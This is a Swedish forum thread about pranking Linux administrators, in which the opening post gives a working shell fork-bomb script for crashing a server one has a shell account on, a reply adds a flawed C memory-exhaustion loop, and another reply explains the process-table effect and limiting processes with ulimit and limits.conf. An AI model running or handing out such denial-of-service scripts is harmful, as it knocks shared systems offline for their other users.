Konsten att jävlas med Linux admins

Fenix

Medlem
Gick med
8 Mar 2003
Ort
Stockholm
Hoj
08', Triumph, Daytona 675
Efter "vissa" påtryckningar, tänkte jag dela med mig lite av några småroliga tricks och tips gällandes Linux/Unix världen.

För att göra det hela lite intressant tänkte jag öppna med att ge dig möjligheten att sänka din Linux-polares server, förutsatt att du har "shell-konto" på den.

Skapa ett skript med t.ex. namnet "forker.sh"
Lägg in följande rader:

#!/bin/sh
while [ "a" = "a" ]
do
$0 &
done

Kör skriptet med: sh ./forker.sh
Vänta 15 sekunder, vad händer?

Hur skyddar man sig från detta skript? :)

/Fenix
 
Vet inte vad som händer, men gissar på att minnet äts upp. Ungefär som ->

Code:
void main() {
     char *s;
     while ( 1 ) s = (char *)malloc((char)1); 
 return 0;
}

Enklast att skydda sig är att inte ge bort några konton alternativt begränsa användarnas rättigheter. kraftigt.
 
morlock skrev:
Vet inte vad som händer, men gissar på att minnet äts upp. Ungefär som ->

Code:
void main() {
     char *s;
     while ( 1 ) s = (char *)malloc((char)1); 
 return 0;
}

Enklast att skydda sig är att inte ge bort några konton alternativt begränsa användarnas rättigheter. kraftigt.

Nix, den äter inte upp minnet, den "spränger" processtabellen. Ditt exempel är bara riktigt farligt om man har root access. När en vanlig användera kör det, är det bara irriterande för systemet. Vanliga användare har inte rättigheten att skriva över systemminnet.
 
Fenix skrev:
Efter "vissa" påtryckningar, tänkte jag dela med mig lite av några småroliga tricks och tips gällandes Linux/Unix världen.

För att göra det hela lite intressant tänkte jag öppna med att ge dig möjligheten att sänka din Linux-polares server, förutsatt att du har "shell-konto" på den.

Skapa ett skript med t.ex. namnet "forker.sh"
Lägg in följande rader:

#!/bin/sh
while [ "a" = "a" ]
do
$0 &
done

Kör skriptet med: sh ./forker.sh
Vänta 15 sekunder, vad händer?

Hur skyddar man sig från detta skript? :)

/Fenix
Den gör ju bara vad den blivit tillsagd att göra, inget konstigt med det. Många programmerare (jag också :rodnar) har skapat liknande loopar i flera programspråk på flera plattformar.

Man kan skydda sig med "ulimit -u xxx" (xxx = antal tillåtna processer), lägg den i /etc/profile. Kolla också i filen /etc/security/limits.conf så har du mer där.

För övrigt är det nog lite olika hur allvarligt det blir, jag har testat liknande förut men provade om det nu och burken blev väldigt trött men jag kunde bryta det, med en viss fördröjning, och då var allt som vanligt igen, ingen skada skedd.
 
Back
Top